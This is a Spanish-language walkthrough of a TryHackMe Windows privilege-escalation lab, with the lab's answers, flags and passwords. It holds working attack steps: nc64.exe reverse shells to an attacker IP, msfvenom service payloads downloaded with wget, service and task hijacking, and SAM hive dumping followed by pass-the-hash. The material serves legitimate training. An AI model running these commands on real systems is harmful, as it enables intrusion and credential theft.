Hola hacketones! Bienvenidos a un nuevo CTF hoy veremos: TryHackMe CompTIA Pentest+ Windows Privilege Escalation
Aprenda los fundamentos de las técnicas de escalada de privilegios en Windows.
Tarea 1 Introducción
Durante una prueba de penetración, a menudo tendrás acceso a algunos equipos Windows con un usuario sin privilegios. Estos usuarios tienen acceso limitado, incluyendo solo sus archivos y carpetas, y no pueden realizar tareas administrativas en el equipo, lo que te impide tener control total sobre el objetivo.
Esta sala abarca técnicas fundamentales que los atacantes pueden utilizar para elevar sus privilegios en un entorno Windows, lo que le permitirá usar cualquier punto de acceso inicial sin privilegios en un host para escalar a una cuenta de administrador, siempre que sea posible.
Si quieres repasar tus conocimientos primero, puedes echar un vistazo al Módulo de Fundamentos de Windows o al Módulo de Hacking de Windows .
Escalada de privilegios de Windows
En pocas palabras, la escalada de privilegios consiste en usar el acceso otorgado al «usuario A» a un host y aprovecharlo para obtener acceso al «usuario B» explotando una vulnerabilidad en el sistema objetivo. Si bien generalmente desearemos que el «usuario B» tenga derechos de administrador, puede haber situaciones en las que necesitemos escalar a otras cuentas sin privilegios antes de obtener privilegios de administrador.
Acceder a diferentes cuentas puede ser tan sencillo como encontrar credenciales en archivos de texto u hojas de cálculo que algún usuario descuidado haya dejado sin protección, pero no siempre será así. Dependiendo de la situación, podríamos necesitar aprovechar algunas de las siguientes vulnerabilidades:
- Configuraciones incorrectas en los servicios de Windows o en las tareas programadas.
- Privilegios excesivos asignados a nuestra cuenta
- Software vulnerable
- Faltan parches de seguridad de Windows
Antes de adentrarnos en las técnicas propiamente dichas, veamos los diferentes tipos de cuentas en un sistema Windows.
Usuarios de Windows
Los sistemas Windows tienen principalmente dos tipos de usuarios. Según sus niveles de acceso, podemos clasificar a un usuario en uno de los siguientes grupos:
| Administradores | Estos usuarios tienen los mayores privilegios. Pueden cambiar cualquier parámetro de configuración del sistema y acceder a cualquier archivo del mismo. |
| Usuarios estándar | Estos usuarios pueden acceder al ordenador, pero solo pueden realizar tareas limitadas. Por lo general, no pueden realizar cambios permanentes ni esenciales en el sistema y su acceso se limita a sus propios archivos. |
Cualquier usuario con privilegios administrativos formará parte del grupo Administradores . Por otro lado, los usuarios estándar forman parte del grupo Usuarios .
Además, normalmente se oye hablar de algunas cuentas especiales integradas que utiliza el sistema operativo en el contexto de la escalada de privilegios:
| SISTEMA / Sistema local | Una cuenta utilizada por el sistema operativo para realizar tareas internas. Tiene acceso completo a todos los archivos y recursos disponibles en el equipo, con privilegios incluso superiores a los de los administradores. |
| Servicio local | Cuenta predeterminada utilizada para ejecutar servicios de Windows con privilegios mínimos. Utilizará conexiones anónimas a través de la red. |
| Servicio de red | Cuenta predeterminada utilizada para ejecutar servicios de Windows con privilegios mínimos. Utilizará las credenciales del equipo para autenticarse a través de la red. |
Estas cuentas son creadas y administradas por Windows, y no podrás usarlas como cualquier otra cuenta. Sin embargo, en algunos casos, podrías obtener sus privilegios aprovechando ciertas vulnerabilidades de servicios específicos.
Responda las siguientes preguntas
¿A qué grupo pertenecen los usuarios que pueden cambiar las configuraciones del sistema?
Administrators
La cuenta SYSTEM tiene más privilegios que el usuario Administrador (sí/no).
Aye
Recopilación de contraseñas de lugares habituales
La forma más sencilla de acceder a otro usuario es obtener las credenciales de un equipo comprometido. Dichas credenciales pueden existir por diversas razones, como que un usuario descuidado las haya dejado en archivos de texto plano o que estén almacenadas por algún software, como navegadores o clientes de correo electrónico.
Esta tarea presentará algunos lugares conocidos donde buscar contraseñas en un sistema Windows.
Instalaciones de Windows sin supervisión
Al instalar Windows en un gran número de equipos, los administradores pueden usar los Servicios de Implementación de Windows, que permiten implementar una única imagen del sistema operativo en varios equipos a través de la red. Este tipo de instalaciones se denominan instalaciones desatendidas, ya que no requieren interacción del usuario. Dichas instalaciones requieren el uso de una cuenta de administrador para realizar la configuración inicial, que puede almacenarse en el equipo en las siguientes ubicaciones:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
Como parte de estos archivos, es posible que encuentre credenciales:

Historia de PowerShell
Cada vez que un usuario ejecuta un comando con PowerShell, este se guarda en un archivo que almacena el historial de comandos. Esto resulta útil para repetir rápidamente comandos que ya se han utilizado. Si un usuario ejecuta un comando que incluye una contraseña directamente en la línea de comandos de PowerShell, posteriormente puede recuperarla mediante el siguiente comando desde la cmd.execonsola:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Nota: El comando anterior solo funcionará desde cmd.exe, ya quePowerShellno se reconocerá %userprofile%como una variable de entorno. Para leer el archivo desde PowerShell, tendrías que reemplazarlo %userprofile%con $Env:userprofile.
Credenciales de Windows guardadas
Windows nos permite usar las credenciales de otros usuarios. Esta función también ofrece la opción de guardar dichas credenciales en el sistema. El siguiente comando mostrará las credenciales guardadas:
cmdkey /list
Aunque no se pueden ver las contraseñas reales, si se observan credenciales que valga la pena probar, se pueden usar con el runas comando y la /savecred opción, como se muestra a continuación.
runas /savecred /user:admin cmd.exe
Configuración de IIS
Internet Information Services (IIS) es el servidor web predeterminado en las instalaciones de Windows. La configuración de los sitios web en IIS se almacena en un archivo llamado web.configy puede almacenar contraseñas para bases de datos o mecanismos de autenticación configurados. Dependiendo de la versión instalada deIISPodemos encontrar el archivo web.config en una de las siguientes ubicaciones:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Aquí tienes una forma rápida de encontrar las cadenas de conexión a la base de datos en el archivo:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Recuperar credenciales del software: PuTTY
PuTTY es un cliente SSH común en sistemas Windows. En lugar de tener que especificar los parámetros de conexión cada vez, los usuarios pueden guardar sesiones donde se almacenan la IP, el usuario y otras configuraciones para su uso posterior. Si bien PuTTY no permite guardar la contraseña SSH, sí almacena configuraciones de proxy que incluyen credenciales de autenticación en texto plano.
Para recuperar las credenciales de proxy almacenadas, puede buscar ProxyPassword en la siguiente clave de registro con el siguiente comando:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f «Proxy» /s
Nota: Simon Tatham es el creador de PuTTY (y su nombre forma parte de la ruta), no el nombre de usuario para el que estamos recuperando la contraseña. El almacenadoapoderadoEl nombre de usuario también debería ser visible después de ejecutar el comando anterior.
Así como Putty almacena credenciales, cualquier software que almacene contraseñas, incluidos navegadores, clientes de correo electrónico,FTPclientela,SSHLos clientes, el software VNC y otros, dispondrán de métodos para recuperar cualquier contraseña que el usuario haya guardado.
Responda las siguientes preguntas
Se ha dejado una contraseña para el usuario julia.jones en el historial de PowerShell. ¿Cuál es la contraseña?
ZuperCkretPa5z
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Un servidor web se está ejecutando en el host remoto. Busca contraseñas interesantes en los archivos web.config asociados con IIS. ¿Cuál es la contraseña del usuario db_admin?
098n0x35skjD3
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Existe una contraseña guardada en tus credenciales de Windows. Usando cmdkey y runas, crea una consola para mike.katz y recupera la bandera de su escritorio.
THM{WHAT_IS_MY_PASSWORD}
cmd
cmdkey /list
Recupera la contraseña guardada en la sesión de PuTTY guardada en tu perfil. ¿Cuál es la contraseña del usuario thom.smith?
CoolPass2021
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f «Proxy» /s
xfreerdp /u:thm-unpriv /p:Password321 /v:10.64.136.52 /cert-ignore


Para mike.katz — abrí una ventana CMD directamente como él:
cmd
runas /savecred /user:WPRIVESC1\mike.katz «cmd.exe»
Esto abre una nueva ventana CMD como mike.katz. En esa ventana escribí:
cmd
type C:\Users\mike.katz\Desktop\flag.txt

Tarea 4 Otras victorias rápidas
La escalada de privilegios no siempre es un desafío. Algunas configuraciones incorrectas pueden permitir obtener acceso de usuario con mayores privilegios e, incluso, acceso de administrador. Es recomendable considerar estos casos más propios de los eventos CTF que de situaciones reales de pruebas de penetración. Sin embargo, si ninguno de los métodos anteriores funciona, siempre se puede recurrir a estos.
Tareas programadas
Al examinar las tareas programadas en el sistema de destino, es posible que vea una tarea programada que haya perdido su archivo binario o que esté utilizando un archivo binario que usted puede modificar.
Las tareas programadas se pueden listar desde la línea de comandos usando el schtasks comando sin ninguna opción. Para obtener información detallada sobre cualquiera de los servicios, puede usar un comando como el siguiente:

Obtendrá mucha información sobre la tarea, pero lo que nos importa es el parámetro «Tarea a ejecutar», que indica qué ejecutará la tarea programada, y el parámetro «Ejecutar como usuario», que muestra el usuario que se utilizará para ejecutar la tarea.
Si nuestro usuario actual puede modificar o sobrescribir el ejecutable «Task to Run», podemos controlar lo que ejecuta el usuario taskusr1, lo que resulta en una simple escalada de privilegios. Para comprobar los permisos de archivo en el ejecutable, usamos icacls:

Como se puede ver en el resultado, el grupo BUILTIN\Users tiene acceso completo (F) sobre el binario de la tarea. Esto significa que podemos modificar el archivo .bat e insertar cualquier payload que queramos. Para su comodidad, nc64.exepuede encontrarlo en C:\tools. Cambiemos el archivo bat para generar una shell inversa:
Símbolo del sistema
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
A continuación, iniciamos un oyente en la máquina del atacante en el mismo puerto que indicamos en nuestra shell inversa:
nc -lvp 4444
La próxima vez que se ejecute la tarea programada, debería recibir la consola inversa con privilegios de taskusr1. Si bien probablemente no podría iniciar la tarea en un escenario real y tendría que esperar a que se active la tarea programada, le hemos otorgado a su usuario permisos para iniciarla manualmente y así ahorrarle tiempo. Podemos ejecutar la tarea con el siguiente comando:
Símbolo del sistema
C:\> schtasks /run /tn vulntask
Y recibirás la consola inversa con privilegios de taskusr1 como se esperaba:

Ve al escritorio taskusr1 para obtener una bandera. No olvides introducir la bandera al final de esta tarea.
Instalar siempre con privilegios elevados
Los archivos de instalación de Windows (también conocidos como archivos .msi) se utilizan para instalar aplicaciones en el sistema. Normalmente se ejecutan con los privilegios del usuario que los inicia. Sin embargo, pueden configurarse para ejecutarse con privilegios superiores desde cualquier cuenta de usuario (incluso las que no los tienen). Esto podría permitirnos generar un archivo MSI malicioso que se ejecutaría con privilegios de administrador.
Nota: El método AlwaysInstallElevated no funcionará en el equipo de esta sala y se incluye únicamente a título informativo.
Este método requiere que se configuren dos valores de registro. Puede consultarlos desde la línea de comandos utilizando los comandos que se muestran a continuación.
Símbolo del sistema
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Para poder explotar esta vulnerabilidad, ambos parámetros deben estar configurados. De lo contrario, la explotación no será posible. Si estos parámetros están configurados, puede generar un archivo .msi malicioso utilizando msfvenom, como se muestra a continuación:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
Como se trata de una shell inversa, también debes ejecutar el módulo Metasploit Handler configurado adecuadamente. Una vez que hayas transferido el archivo que creaste, puedes ejecutar el instalador con el siguiente comando y obtener la shell inversa:
Símbolo del sistema
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Responda las siguientes preguntas
¿Qué es la bandera taskusr1?
THM{TASK_COMPLETED}

Necesitas ayuda? Ejecutá esto en orden:
1. En tu Attack Box:
bash
nc -lvp 4444
2. En CMD de la víctima:
cmd
echo c:\tools\nc64.exe -e cmd.exe 10.64.100.65 4444 > C:\tasks\schtask.bat
schtasks /run /tn vulntask
Cuando llegue la conexión al listener, escribí:
cmd
type C:\Users\taskusr1\Desktop\flag.txt
Aún no???? Prueba esto:
Usuario inicial: thm-unpriv / Password321
- Ver tarea: schtasks /query /tn vulntask /fo list /v → ejecuta C:\tasks\schtask.bat como taskusr1
- Verificar permisos: icacls C:\tasks\schtask.bat → BUILTIN\Users tiene acceso (F)
- En atacante: nc -lvp 4444
- Modificar bat: echo c:\tools\nc64.exe -e cmd.exe IP_ATACANTE 4444 > C:\tasks\schtask.bat
- Ejecutar tarea: schtasks /run /tn vulntask
- Shell recibida como taskusr1 → type C:\Users\taskusr1\Desktop\flag.txt → THM{AT_YOUR_SERVICE}
Tarea 5 Abuso de configuraciones incorrectas del servicio
Servicios de Windows
Los servicios de Windows son administrados por el Administrador de control de servicios (SCM). El SCM es un proceso encargado de administrar el estado de los servicios según sea necesario, verificar el estado actual de cualquier servicio y, en general, proporcionar una forma de configurarlos.
Cada servicio en una máquina Windows tendrá un ejecutable asociado que el SCM ejecutará cada vez que se inicie el servicio. Es importante tener en cuenta que los ejecutables de servicio implementan funciones especiales para poder comunicarse con el SCM; por lo tanto, no cualquier ejecutable puede iniciarse correctamente como servicio. Cada servicio también especifica la cuenta de usuario con la que se ejecutará.
Para comprender mejor la estructura de un servicio, comprobemos la configuración del servicio apphostsvc con el sc qccomando:

Aquí podemos ver que el ejecutable asociado se especifica mediante el parámetro BINARY_PATH_NAME , y la cuenta utilizada para ejecutar el servicio se muestra en el parámetro SERVICE_START_NAME .
Los servicios cuentan con una Lista de Control de Acceso Discrecional (DACL), que indica quién tiene permiso para iniciar, detener, pausar, consultar el estado, consultar la configuración o reconfigurar el servicio, entre otros privilegios. La DACL se puede consultar en Process Hacker (disponible en el escritorio de su equipo).

Todas las configuraciones de los servicios se almacenan en el registro en HKLM\SYSTEM\CurrentControlSet\Services\:

Existe una subclave para cada servicio del sistema. De nuevo, podemos ver el ejecutable asociado en el valor ImagePath y la cuenta utilizada para iniciar el servicio en el valor ObjectName . Si unDACLUna vez configurado para el servicio, se almacenará en una subclave llamada Security . Como ya habrás adivinado, por defecto solo los administradores pueden modificar estas entradas del registro.
Permisos inseguros en el ejecutable del servicio
Si el archivo ejecutable asociado a un servicio tiene permisos débiles que permiten a un atacante modificarlo o reemplazarlo, el atacante puede obtener los privilegios de la cuenta del servicio de forma trivial.
Para entender cómo funciona esto, veamos una vulnerabilidad encontrada en Splinterware System Scheduler. Para empezar, consultaremos la configuración del servicio usando sc:

Podemos ver que el servicio instalado por el software vulnerable se ejecuta como svcuser1 y el ejecutable asociado al servicio se encuentra en C:\Progra~2\System~1\WService.exe. A continuación, procedemos a comprobar los permisos del ejecutable:

Y aquí tenemos algo interesante. El grupo Todos tiene permisos de modificación (M) sobre el ejecutable del servicio. Esto significa que podemos simplemente sobrescribirlo con cualquier carga útil que prefiramos, y el servicio la ejecutará con los privilegios de la cuenta de usuario configurada.
Vamos a generar una carga útil de servicio ejecutable usando msfvenom y servirla a través de un servidor web Python:

A continuación, podemos extraer la carga útil desde PowerShell con el siguiente comando:
PowerShell
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
Una vez que la carga útil se encuentra en el servidor Windows, procedemos a reemplazar el ejecutable del servicio con nuestra carga útil. Dado que necesitamos que otro usuario ejecute nuestra carga útil, también otorgaremos permisos completos al grupo Todos:

Iniciamos un oyente inverso en nuestra máquina atacante:
Kali Linux
user@attackerpc$nc-lvp4445
Finalmente, reinicie el servicio. Si bien en una situación normal probablemente tendría que esperar a que se reiniciara el servicio, se le han asignado privilegios para reiniciarlo usted mismo y así ahorrar tiempo. Utilice los siguientes comandos desde la línea de comandos cmd.exe:
Símbolo del sistema
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
Nota: PowerShell tiene sccomo alias a Set-Content, por lo tanto, necesita usar sc.exepara controlar los servicios con PowerShell de esta manera.
Como resultado, obtendrás una shell inversa con privilegios de svcusr1:

Acceda al escritorio svcusr1 para obtener una bandera. No olvide introducir la bandera al finalizar esta tarea.
Rutas de servicio sin comillas
Cuando ya no podemos escribir directamente en los ejecutables del servicio como antes, aún podría existir la posibilidad de forzar a un servicio a ejecutar ejecutables arbitrarios mediante el uso de una característica bastante desconocida.
Al trabajar con servicios de Windows, se produce un comportamiento muy particular cuando el servicio está configurado para apuntar a un ejecutable «sin comillas». Esto significa que la ruta del ejecutable asociado no está correctamente entrecomillada para tener en cuenta los espacios en el comando.
Como ejemplo, veamos la diferencia entre dos servicios (estos servicios se utilizan solo como ejemplos y podrían no estar disponibles en su máquina). El primer servicio utilizará una comilla adecuada para que el SCM sepa sin lugar a dudas que debe ejecutar el archivo binario indicado por «C:\Program Files\RealVNC\VNC Server\vncserver.exe», seguido de los parámetros dados:

Recuerda: PowerShell tiene ‘sc’ como alias de ‘Set-Content’, por lo tanto, debes usar ‘sc.exe’ para controlar los servicios si estás en una consola de PowerShell.
Ahora veamos otro servicio sin las comillas adecuadas:

Cuando el SCM intenta ejecutar el binario asociado, surge un problema. Dado que hay espacios en el nombre de la carpeta «Disk Sorter Enterprise», el comando se vuelve ambiguo y el SCM no sabe cuál de los siguientes está intentando ejecutar:
| Dominio | Argumento 1 | Argumento 2 |
| C:\MisProgramas\Disco.exe | Clasificador | Enterprise\bin\disksrs.exe |
| C:\MisProgramas\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
| C:\MisProgramas\Disk Sorter Enterprise\bin\disksrs.exe |
Esto tiene que ver con la forma en que el símbolo del sistema interpreta un comando. Normalmente, al enviar un comando, los espacios se utilizan como separadores de argumentos, a menos que formen parte de una cadena entre comillas. Esto significa que la interpretación correcta del comando sin comillas sería ejecutarlo C:\\MyPrograms\\Disk.exey tomar el resto como argumentos.
En lugar de fallar, como probablemente debería, SCM intenta ayudar al usuario y comienza a buscar cada uno de los binarios en el orden que se muestra en la tabla:
- Primero, busque C:\\MyPrograms\\Disk.exe. Si existe, el servicio ejecutará este archivo ejecutable.
- Si este último no existe, buscará entonces C:\\MyPrograms\\Disk Sorter.exe. Si existe, el servicio ejecutará este archivo ejecutable.
- Si este último no existe, buscará entonces C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe. Se espera que esta opción tenga éxito y normalmente se ejecutará en una instalación predeterminada.
A partir de este comportamiento, el problema se hace evidente. Si un atacante crea alguno de los archivos ejecutables que se buscan antes del ejecutable del servicio esperado, puede forzar al servicio a ejecutar un archivo ejecutable arbitrario.
Aunque parezca trivial, la mayoría de los ejecutables del servicio se instalarán por C:\Program Filesdefecto en C:\Program Files (x86)una ruta que no es modificable por usuarios sin privilegios. Esto evita que se explote cualquier servicio vulnerable. Existen excepciones a esta regla: – Algunos instaladores modifican los permisos de las carpetas instaladas, lo que hace que los servicios sean vulnerables. – Un administrador podría decidir instalar los binarios del servicio en una ruta distinta a la predeterminada. Si dicha ruta es modificable por todos los usuarios, la vulnerabilidad puede ser explotada.
En nuestro caso, el administrador instaló los binarios de Disk Sorter en c:\MyPrograms. Por defecto, esto hereda los permisos del C:\directorio, lo que permite a cualquier usuario crear archivos y carpetas en él. Podemos comprobarlo usando icacls:

El BUILTIN\\Usersgrupo tiene privilegios de AD y WD , lo que permite al usuario crear subdirectorios y archivos, respectivamente.
El proceso para crear una carga útil de servicio ejecutable con msfvenom y transferirla al host de destino es el mismo que antes, así que no dudes en crear la siguiente carga útil y subirla al servidor como antes. También iniciaremos un oyente para recibir la shell inversa cuando se ejecute:

Una vez que la carga útil esté en el servidor, muévala a cualquiera de las ubicaciones donde podría ocurrir un secuestro. En este caso, moveremos nuestra carga útil a C:\MyPrograms\Disk.exe. También otorgaremos permisos completos a Todos sobre el archivo para asegurarnos de que el servicio pueda ejecutarlo:

Una vez que se reinicie el servicio, su carga útil debería ejecutarse:

Como resultado, obtendrás una shell inversa con privilegios svcusr2:

Acceda al escritorio de svcusr2 para obtener una bandera. No olvide introducir la bandera al finalizar esta tarea.
Permisos de servicio inseguros
Aún podrías tener una pequeña posibilidad de aprovechar un servicio si su DACL ejecutable está bien configurada y la ruta del binario está correctamente entrecomillada. Si la DACL del servicio (no la DACL ejecutable) te permite modificar su configuración, podrás reconfigurarlo. Esto te permitirá apuntar a cualquier ejecutable que necesites y ejecutarlo con la cuenta que prefieras, incluso con la cuenta SYSTEM.
Para comprobar una DACL de servicio desde la línea de comandos, puede usar Accesschk.(Se abre en una pestaña nueva)del paquete Sysinternals. Para su comodidad, hay una copia disponible en C:\\tools. El comando para comprobar el servicio thmserviceDACLes:

Aquí podemos ver que el BUILTIN\\Usersgrupo tiene el permiso SERVICE_ALL_ACCESS, lo que significa que cualquier usuario puede reconfigurar el servicio.
Antes de modificar el servicio, vamos a crear otro shell inverso de servicio ejecutable e iniciar un oyente para él en la máquina del atacante:

Luego transferiremos el ejecutable de shell inversa a la máquina objetivo y lo almacenaremos en C:\Users\thm-unpriv\rev-svc3.exe. Puedes usar wget para transferir tu ejecutable y moverlo a la ubicación deseada. Recuerda otorgar permisos a Todos para ejecutar tu payload:
Símbolo del sistema
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
Para cambiar el ejecutable y la cuenta asociados al servicio, podemos usar el siguiente comando (tenga en cuenta los espacios después de los signos de igual cuando use sc.exe):
Símbolo del sistema
C:\> sc config THMService binPath= «C:\Users\thm-unpriv\rev-svc3.exe» obj= LocalSystem
Observe que podemos usar cualquier cuenta para ejecutar el servicio. Elegimos LocalSystem porque es la cuenta con mayores privilegios disponible. Para activar nuestra carga útil, solo queda reiniciar el servicio:
Símbolo del sistema
C:\> sc stop THMService
C:\> sc start THMService
Y recibiremos una shell en la máquina de nuestro atacante con privilegios de SYSTEM:

Acceda al escritorio del administrador para obtener una bandera. No olvide introducir la bandera al finalizar esta tarea.
Responda las siguientes preguntas
Obtén la bandera en el escritorio de svcusr1.
THM{AT_YOUR_SERVICE}
Obtén la bandera en el escritorio de svcusr2.
THM{QUOTES_EVERYWHERE}
Obtén la bandera en el escritorio del administrador.
THM{INSECURE_SVC_CONFIG}
Ok, paso a explicar lo que pasa acá, son 3 exploits seguidos. Hacemos uno por uno.
Parte 1 — Flag de svcusr1 (ejecutable de servicio inseguro)
En tu Attack Box — creael payload con la nueva IP:
bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.64.101.58 LPORT=4445 -f exe-service -o rev-svc.exe
python3 -m http.server 8000
Segunda terminal:
bash
nc -lvp 4445
En la víctima, abrí CMD (no PowerShell) y ejecutá:
cmd
wget http://10.64.101.58:8000/rev-svc.exe -O C:\Users\thm-unpriv\rev-svc.exe
cd C:\PROGRA~2\SYSTEM~1
move WService.exe.bkp WService.exe
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
sc.exe stop windowsscheduler
sc.exe start windowsscheduler
El sc.exe en lugar de sc es clave.
type C:\Users\svcusr1\Desktop\flag.txt
Arrancá con esto y cuando tengas la flag de svcusr1 seguimos con svcusr2.


✅ THM{AT_YOUR_SERVICE}
Ahora svcusr2 — Unquoted Service Path
En tu Attack Box:
bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.64.101.58 LPORT=4446 -f exe-service -o rev-svc2.exe
python3 -m http.server 8000
nc -lvp 4446
En la víctima (CMD):
cmd
wget http://10.64.101.58:8000/rev-svc2.exe -O C:\Users\thm-unpriv\rev-svc2.exe
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
sc.exe stop «disk sorter enterprise»
sc.exe start «disk sorter enterprise»
Cuando llegue la shell:
cmd
type C:\Users\svcusr2\Desktop\flag.txt
✅ THM{QUOTES_EVERYWHERE}



Con las nuevas IPs:
En tu Attack Box:
bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.64.70.181 LPORT=4447 -f exe-service -o rev-svc3.exe
python3 -m http.server 8000
Segunda terminal:
bash
nc -lvp 4447
En la víctima (CMD):
cmd
wget http://10.64.70.181:8000/rev-svc3.exe -O C:\Users\thm-unpriv\rev-svc3.exe
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
sc.exe config THMService binPath= «C:\Users\thm-unpriv\rev-svc3.exe» obj= LocalSystem
sc.exe stop THMService
sc.exe start THMService
Cuando llegue la shell:
cmd
type C:\Users\Administrator\Desktop\flag.txt
Y obtenemos la última flag
✅ THM{INSECURE_SVC_CONFIG}
Tarea 6 Abuso de privilegios peligrosos
rranque la máquina
Privilegios de Windows
Los privilegios son derechos que una cuenta tiene para realizar tareas específicas relacionadas con el sistema. Estas tareas pueden ser tan simples como el privilegio de apagar la máquina hasta privilegios para eludir algunas restricciones.DACLcontroles de acceso basados en.
Cada usuario tiene un conjunto de privilegios asignados que se pueden comprobar con el siguiente comando:
whoami /priv
Aquí encontrará una lista completa de los privilegios disponibles en los sistemas Windows.(Se abre en una pestaña nueva)Desde el punto de vista de un atacante, solo interesan aquellos privilegios que nos permiten escalar en el sistema. Puede encontrar una lista completa de privilegios explotables en Priv2Admin.(Se abre en una pestaña nueva)Proyecto de Github.
Si bien no analizaremos cada uno de ellos, mostraremos cómo abusar de algunos de los privilegios más comunes que existen.
SeBackup / SeRestore
Los privilegios SeBackup y SeRestore permiten a los usuarios leer y escribir en cualquier archivo del sistema, sin tener en cuenta las listas de control de acceso (DACL) existentes. El objetivo de este privilegio es permitir que ciertos usuarios realicen copias de seguridad del sistema sin necesidad de tener privilegios de administrador completos.
Con este poder, un atacante puede escalar privilegios en el sistema fácilmente utilizando diversas técnicas. La que analizaremos consiste en copiar los archivos de registro SAM y SYSTEM para extraer el hash de la contraseña del administrador local.
Inicie sesión en la máquina de destino a través de RDP utilizando las siguientes credenciales:
Usuario: THMBackup
Contraseña:CopyMaster555
Esta cuenta pertenece al grupo «Operadores de copia de seguridad», al que se le otorgan por defecto los privilegios SeBackup y SeRestore. Para usar estos privilegios, deberemos abrir una ventana de comandos con la opción «Abrir como administrador». Se nos pedirá que ingresemos nuestra contraseña nuevamente para acceder a la consola con privilegios elevados.

Una vez en la línea de comandos, podemos comprobar nuestros privilegios con el siguiente comando:

Para realizar una copia de seguridad de los hashes de SAM y SYSTEM, podemos utilizar los siguientes comandos:

Esto creará un par de archivos con el contenido de los subárboles del registro. Ahora podemos copiar estos archivos a nuestra máquina atacante usando SMB o cualquier otro método disponible. Para SMB, podemos usar impacket smbserver.pypara iniciar una conexión simple.PYMEservidor con un recurso compartido de red en el directorio actual de nuestro AttackBox:

Esto creará un recurso compartido publicque apunta al sharedirectorio, el cual requiere el nombre de usuario y la contraseña de nuestra sesión actual de Windows. Después de esto, podemos usar el copycomando en nuestra máquina Windows para transferir ambos archivos a nuestro AttackBox:
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
Y utilice impacket para recuperar los hashes de las contraseñas de los usuarios:
user@attackerpc$python3.9 /opt/impacket/examples/secretsdump.py -samsam.hive -systemsystem.hive LOCALImpacket v0.9.24.dev1+20210704.162046.29ad5792 – Copyright 2021 SecureAuth Corporation

Finalmente podemos usar el hash del administrador para realizar un ataque Pass-the-Hash y obtener acceso a la máquina objetivo con privilegios de SYSTEM:
user@attackerpc$python3.9 /opt/impacket/examples/psexec.py -hashesaad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IPImpacket v0.9.24.dev1+

Tomar la propiedad
El privilegio SeTakeOwnership permite a un usuario tomar posesión de cualquier objeto del sistema, incluidos archivos y claves de registro, lo que abre muchas posibilidades para que un atacante eleve sus privilegios. Por ejemplo, podríamos buscar un servicio que se ejecute como SYSTEM y tomar posesión de su archivo ejecutable. Sin embargo, para esta tarea, seguiremos un camino diferente.
Inicie sesión en la máquina de destino a través de RDP utilizando las siguientes credenciales:
Usuario: THMTakeOwnership
Contraseña: TheWorldIsMine2022
Para obtener el privilegio SeTakeOwnership, debemos abrir una ventana del símbolo del sistema utilizando la opción «Abrir como administrador». Se nos pedirá que ingresemos nuestra contraseña para obtener una consola con privilegios elevados:

Una vez en la línea de comandos, podemos comprobar nuestros privilegios con el siguiente comando:

Esta vez , abusaremos utilman.exede esta vulnerabilidad para escalar privilegios. Utilman es una aplicación integrada de Windows que proporciona opciones de accesibilidad durante la pantalla de bloqueo.

Dado que Utilman se ejecuta con privilegios de sistema, obtendremos efectivamente dichos privilegios si reemplazamos el binario original por cualquier carga útil que deseemos. Como podemos tomar posesión de cualquier archivo, reemplazarlo es trivial.
Para reemplazar utilman, comenzaremos tomando posesión del mismo con el siguiente comando:

SUCCESS: The file (or folder): «C:\Windows\System32\Utilman.exe» now owned by user «WINPRIVESC2\thmtakeownership».
Ten en cuenta que ser el propietario de un archivo no implica necesariamente tener privilegios sobre él, pero al ser el propietario puedes asignarte los privilegios que necesites. Para otorgarle a tu usuario permisos completos sobre utilman.exe, puedes usar el siguiente comando:

Después de esto, reemplazaremos utilman.exe con una copia de cmd.exe:

Para activar utilman, bloquearemos la pantalla desde el botón de inicio:

Finalmente, haga clic en el botón «Accesibilidad», que ejecuta utilman.exe con privilegios de SYSTEM. Dado que lo reemplazamos con una copia de cmd.exe, obtendremos un símbolo del sistema con privilegios de SYSTEM.

Suplantar la identidad / Asignar token primario
Estos privilegios permiten que un proceso se haga pasar por otros usuarios y actúe en su nombre. La suplantación generalmente consiste en poder crear un proceso o hilo bajo el contexto de seguridad de otro usuario.
La suplantación de identidad se entiende fácilmente al pensar en cómo funciona un servidor FTP. El servidor FTP debe restringir el acceso de los usuarios únicamente a los archivos que deberían poder ver.
Supongamos que tenemos un servicio FTP en ejecución con el usuario ftp. Sin suplantación de identidad, si el usuario Ann inicia sesión en elFTPel servidor y trata de acceder a sus archivos, elFTPEl servicio intentaría acceder a ellos con su token de acceso en lugar del de Ann:

